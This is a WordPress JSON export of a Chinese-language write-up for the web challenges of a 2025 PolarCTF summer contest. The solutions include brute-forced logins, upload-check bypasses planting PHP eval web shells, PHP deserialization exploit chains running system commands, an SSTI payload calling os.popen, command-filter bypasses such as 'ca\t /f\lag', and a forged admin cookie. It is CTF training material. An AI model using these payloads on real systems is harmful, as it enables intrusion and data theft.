{"id":99,"date":"2025-06-08T16:31:03","date_gmt":"2025-06-08T08:31:03","guid":{"rendered":"https:\/\/1nksy.cn\/?p=99"},"modified":"2025-06-08T18:02:33","modified_gmt":"2025-06-08T10:02:33","slug":"99","status":"publish","type":"post","link":"https:\/\/1nksy.cn\/index.php\/2025\/06\/08\/99\/","title":{"rendered":"PolarCTF\u590f\u5b63\u4e2a\u4eba\u6311\u6218\u8d5b2025\uff08web\uff09"},"content":{"rendered":"\n

\u6e17\u900f\u4e4b\u738b<\/h2>\n\n\n\n
\"image-20250607210147714\"\/<\/div><\/figure>\n\n\n\n

\u8bbf\u95eeadmin.php<\/p>\n\n\n\n

\"image-20250607210217090\"\/<\/div><\/figure>\n\n\n\n

\u89e3\u5bc6<\/p>\n\n\n\n

\"image-20250607210306532\"\/<\/div><\/figure>\n\n\n\n

\u8bbf\u95ee\/www.zip<\/p>\n\n\n\n

\u83b7\u5f97\u4e00\u4e2a\u52a0\u5bc6\u7684\u538b\u7f29\u5305\uff0c\u5bc6\u7801\u5c31\u662f\u89e3\u7801\u7684\u5185\u5bb9<\/p>\n\n\n\n

\"image-20250607210517082\"\/<\/div><\/figure>\n\n\n\n

\u83b7\u5f97\u5b57\u5178\uff0c\u7206\u7834<\/p>\n\n\n\n

\u731c\u6d4b\u7528\u6237\u540d\u4e3aadmin<\/p>\n\n\n\n

\"image-20250607210602464\"\/<\/div><\/figure>\n\n\n\n

\u7206\u7834\u51fa\u5bc6\u7801admin789<\/p>\n\n\n\n

\"image-20250607210705277\"\/<\/div><\/figure>\n\n\n\n

\u660e\u663e\u5b58\u5728\u6587\u4ef6\u5305\u542b\uff0c\u4f46\u662f\u4ec0\u4e48\u6587\u4ef6\u90fd\u8bfb\u4e0d\u4e86<\/p>\n\n\n\n

\"image-20250607210938953\"\/<\/div><\/figure>\n\n\n\n

\u63d0\u793a\u6709\u6587\u4ef6\u4e0a\u4f20\uff0c\u8bbf\u95eeupload.php<\/p>\n\n\n\n

\u5b58\u5728\u6587\u4ef6\u4e0a\u4f20\uff0c\u4e14\u5728\u524d\u7aef\u6709\u68c0\u6d4b\uff0c\u4f20\u4e00\u4e2ajpg\u6587\u4ef6\uff0c\u6293\u5305\u540e\u4fee\u6539\u4e3aphp\uff0c\u53d1\u5305\uff0c\u4f7f\u7528\u8681\u5251\u8fde\u63a5<\/p>\n\n\n\n

\u83b7\u5f97flag<\/p>\n\n\n\n

\"image-20250607211121824\"\/<\/div><\/figure>\n\n\n\n

\u72d7\u9ed1\u5b50\u7684\u53d8\u91cf<\/h2>\n\n\n\n
 <?php
error_reporting(0);
highlight_file(__FILE__);
\u200b
$gou = $_GET[\"gou\"];
$gou = str_replace(['~', '^', '_'], '', $gou);
$hei = array('Q', 'W', 'E', 'R', 'Y', 'U', 'I', 'O', 'S', 'D', 'F', 'G', 'J', 'K', 'L', 'Z', 'X', 'C', 'V', 'B', 'N', 'M', 'q', 'w', 'e', 'r', 'y', 'u', 'i', 'o', 's', 'd', 'f', 'g', 'j', 'k', 'l', 'z', 'x', 'c', 'v', 'b', 'n', 'm');
\u200b
\u200b
$heizi = str_ireplace($hei, '', $gou);
if ($heizi !== $gou) {
    die(\"heizi\");
}
\u200b
system($gou);
?>
\u200b<\/pre>\n\n\n\n
\u8fc7\u6ee4\u4e86\u53d6\u53cd\u5f02\u6216\u81ea\u589e\u7684\u65b9\u6cd5\uff0c\u8fd8\u8fc7\u6ee4\u4e86\u4e00\u5806\u5b57\u6bcd\uff0c\u7559\u4e0b\u4e86apht<\/p>\n\n\n\n
\u4f7f\u7528dirsearch\u626b\u63cf\uff0c\u53d1\u73b0admin.php<\/p>\n\n\n\n
\"image-20250608161234448\"\/<\/div><\/figure>\n\n\n\n
\u5229\u7528path\u62fc\u63a5<\/p>\n\n\n\n
ls—l\u662f\u7b2c6\u4f4d<\/p>\n\n\n\n
${PATH:5:1}${PATH:2:1}<\/p>\n\n\n\n
\"image-20250608161509995\"\/<\/div><\/figure>\n\n\n\n
\u62fc\u63a5cat\uff0c\u8bbf\u95ee\u83b7\u5f97falg<\/p>\n\n\n\n
\"image-20250608161634208\"\/<\/div><\/figure>\n\n\n\n
easyRead<\/h2>\n\n\n\n
poc<\/p>\n\n\n\n
<?php
class Read {
    public $source;
    public $is;
}
\u200b
class Help {
    public $source;
    public $str;
}
\u200b
class Polar {
    private $var;
    public function getit($value){}
    public function __invoke(){}
}
\u200b
class Doit {
    public $is;
    private $source;
    public function __construct(){}
}
\u200b
$polar = new Polar();
$reflection = new ReflectionClass($polar);
$property = $reflection->getProperty('var');
$property->setAccessible(true);
$property->setValue($polar, \"system('env');\"); 
\u200b
$doit = new Doit();
$doit->is = $polar; 
$help = new Help();
$help->str = $doit; 
\u200b
$read2 = new Read();
$read2->is = $help; 
\u200b
$read1 = new Read();
$read1->source = $read2; 
\u200b
\u200b
echo urlencode(serialize($read1));
?><\/pre>\n\n\n\n
\u547d\u8fd0\u77f3\u4e4b\u95e8<\/h2>\n\n\n\n
\"image-20250608142517407\"\/<\/div><\/figure>\n\n\n\n
\u67e5\u770b\u6e90\u7801\uff0c\u89e3\u7801\u83b7\u5f97\u63d0\u793a\uff1a\u6709\u65f6\u5019\u9a8c\u8bc1\u7801\u5e76\u4e0d\u597d\u4f7f\u3002\u4e8e\u662f\u4f7f\u7528\u4e07\u80fd\u9a8c\u8bc1\u78010000<\/p>\n\n\n\n
dirsearch\u626b\u51fa\u4e00\u4e2apassword.txt<\/p>\n\n\n\n
\"image-20250608142949482\"\/<\/div><\/figure>\n\n\n\n
\u4e00\u4e2a\u5bc6\u7801\u5178<\/p>\n\n\n\n
\u6293\u5305\u7206\u7834<\/p>\n\n\n\n
\"image-20250608143232296\"\/<\/div><\/figure>\n\n\n\n
\u7206\u7834\u51fa\u5bc6\u7801\uff0chunangleiSAMA0712<\/p>\n\n\n\n
\"image-20250608143310403\"\/<\/div><\/figure>\n\n\n\n
\u7ee7\u7eed\u6293\u5305\u7206\u7834<\/p>\n\n\n\n
\"image-20250608143607083\"\/<\/div><\/figure>\n\n\n\n
\u5bc6\u7801\uff1ahuan9le1Sam0<\/p>\n\n\n\n
\u7136\u540e\u8f93\u5165\u5bc6\u7801\uff0c\u9009\u62e9\u5bf9\u5e94\u56fe\u7247\u5373\u53ef\u83b7\u5f97flag<\/p>\n\n\n\n
\"image-20250608143716824\"\/<\/div><\/figure>\n\n\n\n
rce\u547d\u4ee4\u6267\u884c\u7cfb\u7edf<\/h2>\n\n\n\n
\"image-20250608143806088\"\/<\/div><\/figure>\n\n\n\n
\u53ef\u4ee5\u6267\u884c\u547d\u4ee4\uff0c\u4f46\u57fa\u672c\u90fdban\u4e86<\/p>\n\n\n\n
dirsearch\u626b\u63cf\uff0c\u53d1\u73b0\u4e00\u4e2aflag.txt<\/p>\n\n\n\n
\u8bbf\u95ee<\/p>\n\n\n\n
\"image-20250608144324675\"\/<\/div><\/figure>\n\n\n\n
\u731c\u6d4b\u662f\u628aphp\u6362\u6210txt\uff0c1\u6362\u6210l\uff0c\u4e8e\u662f\u8bbf\u95eef1ag.php<\/p>\n\n\n\n
\"image-20250608144427024\"\/<\/div><\/figure>\n\n\n\n
\u63d0\u793a\u4e00\u4e2a\u53c2\u6570XOR_KEY\uff0c\u5e76\u4e14\u63d0\u793a\u9776\u573a\u53eb\u4ec0\u4e48<\/p>\n\n\n\n
\u56de\u5230\u5f00\u59cb\u7684\u754c\u9762<\/p>\n\n\n\n
\u4f20XOR_KEY=Polar<\/code><\/p>\n\n\n\n
\"image-20250608144720745\"\/<\/div><\/figure>\n\n\n\n
\u7b80\u5355\u7684\u94fe\u5b50<\/h2>\n\n\n\n
poc<\/p>\n\n\n\n
 <?php
class A {
    public $cmd=\"cat \/flag\";
    function __destruct() {
        if (isset($this->cmd)) {
            system($this->cmd);
        }
    }
}
\u200b
$a = new A();
echo serialize($a);<\/pre>\n\n\n\n
\"image-20250608145003445\"\/<\/div><\/figure>\n\n\n\n
ghost_render<\/h2>\n\n\n\n
\u6839\u636e\u540d\u5b57\u5c31\u80fd\u770b\u51fa\u548cssti\u6709\u5173<\/p>\n\n\n\n
\"image-20250608145105501\"\/<\/div><\/figure>\n\n\n\n
\u4e00\u4e2a\u6587\u4ef6\u4e0a\u4f20\u754c\u9762\uff0c\u611f\u89c9\u4f1a\u6e32\u67d3\u4e0a\u4f20\u6587\u4ef6\u7684\u5185\u5bb9<\/p>\n\n\n\n
\u4f20\u4e00\u4e2amd\u6587\u4ef6\uff0c\u5185\u5bb9\u4e3a{{7*7}}<\/p>\n\n\n\n
\u5c31\u662fssti\uff0c\u6784\u9020\u94fe\u5b50<\/p>\n\n\n\n
{{config.**class**.**init**.**globals**['os'].popen('ls \/').read()}}<\/code><\/p>\n\n\n\n
\"image-20250608145536926\"\/<\/div><\/figure>\n\n\n\n
\u6ca1\u770b\u5230flag\uff0c\u540e\u9762\u5728var\u76ee\u5f55\u53d1\u73b0flag<\/p>\n\n\n\n
\"image-20250608145623529\"\/<\/div><\/figure>\n\n\n\n
cat\u67e5\u8be2\uff0c\u83b7\u5f97flag<\/p>\n\n\n\n
\"image-20250608145705264\"\/<\/div><\/figure>\n\n\n\n
\u72d7\u9ed1\u5b50\u7684\u9690\u85cf<\/h2>\n\n\n\n
\"image-20250608150002592\"\/<\/div><\/figure>\n\n\n\n
\u53d1\u73b0\u4e00\u4e2acmd\u53c2\u6570\uff0c\u53ef\u4ee5\u6267\u884c\u547d\u4ee4\uff0c\u4f46\u8fc7\u6ee4\u4e86\u5f88\u591a\u4e1c\u897f<\/p>\n\n\n\n
\u7528echo\u5199\u4e00\u4e2a\u9a6c\u91cd\u5b9a\u5411\u52301.php<\/p>\n\n\n\n
echo \"<?php @eval($_POST['a']);?>\" >1.php<\/code><\/p>\n\n\n\n
\u7136\u540e\u8fde\u8681\u5251\u62ffflag<\/p>\n\n\n\n
\u771f\u5047ECR<\/h2>\n\n\n\n
 <?php
error_reporting(0);
highlight_file(__FILE__);
header('content-type:text\/html;charset=utf-8');
\u200b
if (!isset($_GET['cmd'])) {  
    echo(\"\u5ba1\u9898\u554a\uff01.\");  
}  
$cmd=$_GET['cmd'];
\u200b
    if (preg_match(\"\/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\\'|\\\"|\\`|;|,|\\*|\\?|\\\\|\\\\\\\\|\\n|\\t|\\r|\\xA0|\\{|\\}|\\(|\\)|\\&[^\\d]|@|\\||\\\\$|\\[|\\]|{|}|\\(|\\)|-|<|>\/i\", $cmd)) 
    {
        echo(\"\u60f3\u8981\u4ec0\u4e48\u76f4\u63a5\u8bbf\u95ee\u8bd5\u8bd5\u5462\");
        exit;
    }
     system($cmd);
?><\/pre>\n\n\n\n
\u8fc7\u6ee4\u4e86\u4e00\u4e9b\u4e1c\u897f\uff0c\u4f46\u6ca1\u8fc7\u6ee4\\\uff0c\u76f4\u63a5\u8bfbflag<\/p>\n\n\n\n
ca\\t \/f\\lag<\/code><\/p>\n\n\n\n
\"image-20250608152525988\"\/<\/div><\/figure>\n\n\n\n
nukaka_ser2<\/h2>\n\n\n\n
 <?php
\u200b
class FlagReader {
    private $logfile = \"\/tmp\/log.txt\";
    protected $content = \"<?php system(\\$_GET['cmd']); ?>\";
\u200b
    public function __toString() {
\u200b
        if (file_exists('\/flag')) {
            return file_get_contents('\/flag');
        } else {
            return \"Flag file not found!\";
        }
    }
}
\u200b
class DataValidator {
    public static function check($input) {
        $filtered = preg_replace('\/[^\\w]\/', '', $input);
        return strlen($filtered) > 10 ? true : false;
    }
\u200b
    public function __invoke($data) {
        return self::check($data);
    }
}
\u200b
class FakeDanger {
    private $buffer;
    
    public function __construct($data) {
        $this->buffer = base64_encode($data);
    }
\u200b
    public function __wakeup() {
        if (rand(0, 100) > 50) {
            $this->buffer = str_rot13($this->buffer);
        }
    }
}
\u200b
class VulnerableClass {
    public $logger;
    private $debugMode = false;
\u200b
    public function __destruct() {
        if ($this->debugMode) {
            echo $this->logger;
        } else {
            $this->cleanup();
        }
    }
\u200b
    private function cleanup() {
        if ($this->logger instanceof DataValidator) {
            $this->logger = null;
        }
    }
}
\u200b
\u200b
function sanitize_input($data) {
    $data = trim($data);
    return htmlspecialchars($data, ENT_QUOTES);
}
\u200b
if(isset($_GET['data'])) {
    $raw = base64_decode($_GET['data']);
    if (preg_match('\/^[a-zA-Z0-9\\\/+]+={0,2}$\/', $_GET['data'])) {
        unserialize($raw); 
    }
} else {
    highlight_file(__FILE__);
}
?> <\/pre>\n\n\n\n
poc<\/p>\n\n\n\n
<?php
\u200b
class FlagReader {
    private $logfile = \"\/tmp\/log.txt\";
    protected $content = \"<?php system(\\$_GET['cmd']); ?>\";
}
\u200b
class VulnerableClass {
    public $logger;
    private $debugMode = false;
}
\u200b
$flag = new FlagReader();
$vuln = new VulnerableClass();
\u200b
$ref = new ReflectionClass($vuln);
$debugMode = $ref->getProperty('debugMode');
$debugMode->setAccessible(true);
$debugMode->setValue($vuln, true);
\u200b
$vuln->logger = $flag;
\u200b
echo base64_encode(serialize($vuln));<\/pre>\n\n\n\n
\"image-20250608153822236\"\/<\/div><\/figure>\n\n\n\n
\u4f60\u4e5f\u73a9\u94f2\u5417<\/h2>\n\n\n\n
\u70b9\u51fb\u4e0d\u73a9\uff0c\u968f\u4fbf\u6ce8\u518c\u4e00\u4e2a\uff0c\u767b\u5f55<\/p>\n\n\n\n
\u63d0\u793a<\/p>\n\n\n\n
\"image-20250608154128872\"\/<\/div><\/figure>\n\n\n\n
\u67e5\u770b\u6e90\u7801<\/p>\n\n\n\n
\"image-20250608154144641\"\/<\/div><\/figure>\n\n\n\n
\u5c06user:admin\u7f16\u7801<\/p>\n\n\n\n
dXNlcjphZG1pbg==<\/code><\/p>\n\n\n\n
dirsearch\u626b\u63cf\u53d1\u73b0\/login_admin.html\uff0c\u8fd8\u6709\/admin_login.php<\/p>\n\n\n\n
\u5728login_admin.html\u4f2a\u9020\u4e00\u4e2acookie<\/p>\n\n\n\n
auth=dXNlcjphZG1pbg==<\/p>\n\n\n\n
\u8bbf\u95ee\/admin_login.php\uff0c\u5373\u53ef\u83b7\u5f97flag<\/p>\n","protected":false},"excerpt":{"rendered":"
\u6e17\u900f\u4e4b\u738b \u8bbf\u95eeadmin.php \u89e3\u5bc6 \u8bbf\u95ee\/www.zip \u83b7\u5f97\u4e00\u4e2a\u52a0\u5bc6\u7684\u538b\u7f29\u5305\uff0c\u5bc6\u7801\u5c31\u662f\u89e3\u7801\u7684\u5185\u5bb9 \u83b7\u5f97\u5b57 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-99","post","type-post","status-publish","format-standard","hentry","category-wp"],"_links":{"self":[{"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/posts\/99","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/comments?post=99"}],"version-history":[{"count":3,"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/posts\/99\/revisions"}],"predecessor-version":[{"id":102,"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/posts\/99\/revisions\/102"}],"wp:attachment":[{"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/media?parent=99"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/categories?post=99"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/tags?post=99"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}